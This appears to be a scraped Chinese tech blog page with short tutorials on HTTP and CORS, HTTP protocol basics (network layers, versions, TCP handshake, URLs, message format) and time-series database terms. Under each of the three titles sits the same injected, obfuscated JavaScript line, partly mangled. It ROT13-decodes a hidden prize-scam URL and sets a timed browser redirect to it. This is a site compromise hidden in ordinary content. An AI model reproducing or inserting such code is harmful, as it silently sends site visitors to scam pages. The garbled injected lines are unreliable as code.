HTTP各种特性总览

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
索引:

HTTP客户端

 

HTTP客户端,最简单的就是浏览器,输入一个URL发起http请求返回一个页面。在console中的Headers就是HTTP的首行,注意,这并不属于headers里面的内容。

可以使用curl来请求报文:

CORS跨域请求的限制与解决

跨域的概念:比如有两个server不同端口来模拟两个不同的服务。

实际上跨域失败是一个浏览器提供的功能,数据是发送出去了的,接收的数据也是接收了的,但是在解析的时候浏览器返现返回的头里面没有’Access-Control-Allow-Origin’:’*’,也就是跨域不是允许的,就会过滤掉不解析这一部分内容,*代表任何页面都可以获得这个服务,但是这样是不安全的,因为别人就可以访问这个server的内容了,因此可以设置为某一个特定的内容,比如说’Access-Control-Allow-Origin’:’http://baid.com’。就是说在一个网页的请求中,任何的ajax请求都是在同域里面的,如果跨域了,那么必须要跨域的那个服务器允许才能够实现跨域。实际上可以使用jsonP来实现跨域请求,也可以直接在script标签上加载一个连接来解决跨域问题。

 

 

HTTP协议基础

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
索引:

5层网络模型
历史
HTTP三次握手
URI、URL、URN
HTTP报文格式

 

经典的五层模型:

HTTP是基于TCP协议去实现的,下面三层web非常的底层在web开发中基本上不会涉及到,当这里提供一些介绍。

物理层:主要作用是定义物理设备如何传输数据,如光缆、网线、网卡等等。

数据链路层:在通信的实体间建立数据链路连接,基本上是0101之类的东西。

网络层:为数据在节点之间传输创建逻辑链路。

传输层:主要由TCP和UDP,更多的情况下使用的是TCP,因为更加的可靠,传输层向用户提供了可靠地端到端(End-to-End)服务。从电脑到服务器连接后,如何传输,如何接收组装数据都是在传输层进行定义的,传输层向高层屏蔽了下层数据通信的细节,也就是对于web开发者不需要知道如何去分片传输数据,或者ajax请求在数据比较大的时候是一次性传输不完的,这个过程传输层也是帮助我们去实现了。

应用层:为应用软件提供了很多服务。是构建与TCP协议之上的,屏蔽了网络传输相关的细节。

 

HTTP历史

第一个定稿的是HTTP/0.9,这个时候只有一个命令GET,没有HEADER等描述数据的信息,服务器发送完毕就关闭TCP连接,注意HTTP连接和TCP连接不是一个概念,一个TCP连接可以发起很多个HTTP请求。
HTTP/1.0 增加了很多的命令POST等等,增加了status code和header,增加了多字符集的支持,多部分发送、权限、缓存等。
HTTP/1.1,更多的是对1.0的优化,实现了持久连接,这样性能会高很多,增加了pipeline,可以在同一个连接中发送多个请求,但是在服务端是需要按顺序来返回的,也就是说串行的执行,这个在HTTP2中会进行优化。增加了host和其他的一些命令,有了host可以在一台服务器跑不用的web服务如node或java,通过host来进行判断。
HTTP2现在还没有普及,所有数据以二进制进行传输,同一个连接里面发送多个请求不再需要按照顺序来,是并行的,头信息会进行压缩,可以有效的减少带宽的使用。还提供了推送的概念,也就是服务端是可以主动发起数据传输的。也就是在请求HTML的时候可以将CSS和JS并行的主动发送到客户端,大幅提高了传输效率。

 

HTTP三次握手:

HTTP不存在连接的概念,只有请求和响应的概念,因此需要一个TCP connection来实现连接。

三次握手实际上是创建这个TCP连接的过程,只有创建好了TCP连接之后才能够实现HTTP。

首先客户端发起一个我要创建连接的数据包请求,SYN是一个标志位,说明是要创建请求,Seq=一个数字,一般是1,服务端接收到了之后就会开启一个TCP socket的一个端口返回给客户端,ACK=客户端发送的seq+1;然后客户端知道服务端允许我连接了,就发送给服务端连接消息。

三次握手的意义是防止一些无效的请求,比如延迟而导致的服务器开销问题,如果没有第三次握手,服务端就不知道客户端是是否真的要连接,就会一直开一个端口等客户端来连接。

 

URI、URL、URN

URI:统一资源标志符,包含URL、URN。是为了识别物联网上固定的资源所在的位置。

URL:统一资源定位器,包含了http://xxx.com:80/path?query=string#hash

http这个位置定义的是协议,比如ws或者ftp

不带端口的情况下就是默认80端口,一般是不带端口的

Path路由,就是说这个web服务上有很多的东西,那么就可以通过路由来找到这个资源。比较像Linux的目录结构。

?query=string是一个搜索参数

#hash代表http比如找到了一个很长的文档,那么就可以使用#hash来找到文本中的某一个片段,前端用锚点来实现。

URN:使用不多,是永久统一资源定位符,也就是链接换了一个位置,比如访问一个不存在的URL会返回404,但是会通过URN来找到资源即使资源换了位置,但是目前还没有非常成熟的方案。

 

HTTP报文格式:

首先要包含一个首行,首行并行不是header里面的,会包含method,GET是获取,POST常见,PUT更新,每个method有不同的语言,这个定义只是一张纸上写的,不一定要这样做,比如你也可以用GET来更新,但是建议按照规定的语义来执行。200后面的OK是这个200代表的含义,也就是用明文告诉你。注意header之后有一个空行来区分,空行后面就是body中的内容。api接口的设计可以用不同的method来区分进行的操作,这是更合理的api设计方式。好的HTTP服务是可以通过CODE判断结果的。也有很多国内的服务器只返回200和400的,然后把提示放在消息里面,但是这个是不符合要求的。

 

 

时序数据库TSDB

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
名词解释

TSDB:时序数据库,用于保存时间序列(按时间顺序变化)的海量数据
度量metric:数据指标的类别,如温度、转速、模拟量
域field:在指定度量下数据的子类别,一个metric支持多个field,例如风速那么metric为wind,下面可以有两个field,direction和speed
时间戳:没什么好解释的
数值value:度量对应的数值,如果有多个field,那么那么数值就放在每个field对应的value中。
标签tag:一个标签是一个key-value对,用于提供额外的数据,如”设备号=123123″
数据点data point:“1个metric+1个field(可选)+1个timestamp+1个value + n个tag(n>=1)”唯一定义了一个数据点。当写入的metric、field、timestamp、n个tag都相同时,后写入的value会覆盖先写入的value。
时间序列:“1个metric+1个field(可选) +n个tag(n>=1)”定义了一个时间序列。

时间序列有两种:

1.单域:如,监测温度的值,把温度(temperature)作为一个度量(metric),用标签(tag)来标识每一个数据的额外信息,比如每个数据点都有3个tag,tag是一个key-value对,tag的key分别是deivceID、floor、room。

2.多域:监测风力的值,把风力(wind)作为一个度量(metric),风力(wind)分为两个域:风向(direction)和速度(speed)。这些监测数据是从不同的传感器传输到云端的,用标签(tag)来标识每一个数据的额外信息,比如每个数据点有三个tag,tag是一个key-value对;tag的key分别是sensor、city、province。

分组group:可以按标签对数据点进行分组
聚合函数aggregator:可以对一段时间的数据点做聚合,如每十分钟的和值,平均值,最大值,最小值等等
数据库:一个用户可以有多个数据库,一个数据库可以写入多个“度量”的“数据点”